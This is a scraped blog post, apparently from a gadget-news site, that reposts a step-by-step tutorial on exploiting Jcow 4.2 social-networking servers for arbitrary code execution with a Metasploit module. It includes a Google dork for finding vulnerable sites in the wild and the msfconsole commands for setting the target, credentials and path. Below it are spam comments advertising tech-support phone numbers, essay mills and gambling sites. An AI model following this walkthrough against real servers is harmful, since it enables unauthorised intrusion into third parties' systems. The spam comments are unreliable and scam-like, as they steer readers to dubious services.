we present information about computer news and price information and specs samsung, huawei, Tecno Price products, Specifications & Features and more information about software

Kamis, 07 Januari 2016

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution - do you know that every day there are new gadgets that are created with new advantages to simplify your life, on the blog Computers News we will discuss about the latest gadgets and gadgets that have long ranging from speck and price, now we will discuss about 4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution we have collected a lot of news to make this article to be really useful for you, please see.

Articles : 4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution
full Link : 4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution
Article DNS Hacking, Article Learn Hacking,

You can also see our article on:


4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

After very long times I didn't write about hacking webserver, today "again" when surfing around I've found that Jcow Social networking engine can be exploited and the exploit ranking marked as "excellent".
So actually, what happen when you have this Jcow vulnerable version??The simple thing is the attacker can go through your web server directory and doing everything there. For example, if you hosting your Jcowvulnerable version(on insecure hosting also icon_smile ) you can own your web server directory.
In this example, let's say I have a Jcow vulnerable web server in IP address 192.168.8.94. Actually, it's better to try installing your own web server, but if you want to find out Jcow in the wild you can search through Google dork "intext: Powered by Jcow 4.2.0" and register as the normal user there. In this tutorial I have already registered as username: victim and password also victim icon_smile
Okay, I hope you understand what I say above icon_razz to make it more realistic, let's try the tutorial…

4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution
4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

Level: Medium

Victim Server: work fine if victim uses Windows XP SP3
Victim vulnerable application: JCow 4.2
Attacker O.S: obviously you need Backtrack 5 R1

Requirement :

Here only you need bellow two item.
Which is your actual need.

1#. Metasploit framework

2.# Jcow.rb exploit mediafire.com

Now lets start this article.

Steps Hacking Jcow Social Networking Web Server via ArbitraryCode Execution Process:

1.#, first of all, you simply  Copy the 

downloaded cow.rb exploit from the 

download link above and copy it into /pentest/exploits/framework/modules/exploits/remote/ folder(for example see the command below).
cp jcow.rb /pentest/exploits/framework/modules/exploits/remote/
now you see the text "framework" in blue color it's only because I'm using 

Backtrack 5 R1 and using Metasploit 

v4.0.1, so the name depended on 

your Metasploit version, maybe on your 

the computer can be "framework3" or 

"framework2" so on..so don't have

confused.

2.# now when you copy successfully 

after that, simply  Open your Metasploit 

console and then use the exploit you just added before see bellow 


msf > use exploit/remote/jcow


3.# now when you complete step 2, The 

next step we need to view the available 

switch for this exploit by running the show 

options command, and then configured it(see the text with red color).
jcow_bypass1
msf  exploit(jcow) > set rhost 192.168.8.94 --> set the target IP
rhost => 192.168.8.94
msf exploit(jcow) > set username victim --> set the username
username => victim
msf exploit(jcow) > set password victim --> set the password
password => victim
msf exploit(jcow) > set uri jcow --> only if jcow not in/directory fill it here
uri => jcow
Importent:::?

Set URI can be used if cow was not 

installed on web server main directory

for example http://web-server.com/jcow.

4#. now your work has been almost  

done , After everything was set up 

successfully, the next thing to do was 

exploiting or running the exploit by using

  exploit command.



article titled 4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution has been completed in the discussion

hopefully information about 4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution can provide benefits for you in determining the gadget to suit your needs so much easier in living everyday life.

you just read the article entitled 4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution if you feel this information is useful for you and want to bookmark it or want to share it please use link https://nandncomputers.blogspot.com/2016/01/4-steps-hacking-jcow-social-networking.html.

Tag : , ,
Share on Facebook
Share on Twitter
Share on Google+

Related : 4 Steps Hacking Jcow Social Networking Web Server via Arbitrary Code Execution

18 komentar:

  1. Bài viết rất hay: Chúng tôi chuyên cung cấp các sản phẩm chất lượng sau:



    bồn massage



    bon ngam chan



    máy massage chân



    Cảm ơn các bạn!

    BalasHapus
  2. Quickbooks is an accounting software which is mostly use in small business and mid-sized business. With Quickbooks, managing your business account, tex, bills are very easy. And for updates and new features you get Quickbooks payroll support Number. So, if you need any help for your Quickbooks, you can easily call us on Quickbooks payroll support Number:+1-800-961-4623

    The Services we offered are following-

    QuickBooks technical support number
    QuickBooks enterprise support phone number
    QuickBooks pro Support
    QuickBooks pos support
    QuickBooks Payroll Support Phone Number
    QuickBooks desktop support
    QuickBooks point of sale
    QuickBooks support phone number

    BalasHapus
  3. If you are facing any kind of errors or issue with you sage 100 accounting software and you are unable to solve your problem it .Don't worry about it, Simply dial our sage 100 technical support team at +1844-871-6289 or you can simply visit our website at https://www.accountingadvice.co .

    The Services we offered are following-

    Sage Support Phone Number

    Sage 50 Technical Support

    Sage Technical Support Phone Number

    Sage 100 support phone number

    Sage 100 contractor support

    Sage 50 live chat

    Sage Support Number

    Sage Customer Service Number

    Sage Support Phone Number

    BalasHapus
  4. If you are new user or exiting user of QuickBooks accounting software and looking for the QuickBooks technical support.If yes than you have come to right place as we provide efficient technical support service to customers who show complete faith in us. With our efficient and highly qualified team ,we never disappoint our customers.You can reach us at 1800-961-4623 at any hour of the day. You can also visit our website at https://www.quick.helplinenumber.support/ for the complete knowledge of the QuickBooks products and services.

    The Services we offered are following-

    QuickBooks Technical Support Phone Number
    QuickBooks Technical Support Number
    QuickBooks Tech Support Phone Number
    QuickBooks Tech Support Number
    QuickBooks Customer Support Phone Number
    QuickBooks Customer Support Number

    BalasHapus
  5. We want every custom written college papers client to have the chance to receive the help they need with their academic work, and because of that, all nursing writing services are affordable and quality essays.

    BalasHapus
  6. Kronospoker situs penyedia Daftar Judi Poker Online Terpercaya, IDN Poker, capsa susun online, ceme online, ceme keliling, super10, omaha dan domino QQ terbaik dan terpercaya Indonesia. Kronospoker selalu memberikan pengalaman bermain judi kartu online terbaik kepada seluruh membernya.

    Disini kami telah mendapatkan kepercayaan dan reputasi terbaik dari para member Poker Indonesia, Karena kami memberikan pelayanan kepada semua member yang bermain di situs kami.

    Serta Berapapun kemenangan yang anda dapatkan akan langsung dibayar oleh Agen Judi Poker Online Terbaik Kronospoker, mau itu jackpot atau bonus lainnya.

    Semua permainan yang tersedia dapat anda mainkan hanya dengan menggunakan 1 user ID yang akan anda dapatkan setelah melakukan pendaftaran akun di Kronospoker. Selain menyediakan permainan Online Poker, Kronospoker juga menyediakan game Domino QQ, Capsa Susun terbaik di Indonesia.

    Pelayanan terbaik adalah prioritas utama dari Agen Judi IDN Poker Online Kronospoker. Kami menyediakan pelayanan customer service professional, sopan dan handal dalam bidangnya yang selalu siap membantu anda. Hanya dengan minimal deposit sebesar 10 ribu Rupiah, para pecinta permainan Judi Online dapat memainkan semua permainan yang tersedia di Kronospoker.

    Ada beberapa keunggulan yang membuat Agen Judi Poker Kronospoker menjadi Daftar Poker Indonesia Online Terpercaya. Dan menjadi salah satu tempat wajib bagi para pecinta permainan judi kartu online untuk bermain. Diantaranya yaitu:

    Dalam permainan judi online di Kronospoker, kami menjamin 100% player vs player. Dan itu berlaku untuk semua permainan yang ada. Semua murni tanpa adanya campur tangan robot ataupun admin kami.

    Kronospoker memberikan bonus Rollingan paling besar yang berlaku untuk semua jenis permainan.

    Proses transaksi yang cepat serta data para pemain dijamin keamanannya.

    Semua permainan dapat anda akses dengan mudah melalui komputer, notebook, dan smartphone Android maupun IOS.

    Situs judi online dengan winrate tertinggi. Win Rate dalam semua permainan di Kronospoker mencapai hampir 100%.

    BalasHapus
  7. You should know that if you are struggling with writing an essay paper, there is a way out. Essays from this company are written by experts with the relevant education to your field of studies and relevant academic level.

    BalasHapus
  8. "Thanks for sharing anda really helpfull , i will recommended my friend to read this post
    Very interesting 🙂
    if u want more information like this, click my link maybe you will interest"

    Situs Judi Online

    BalasHapus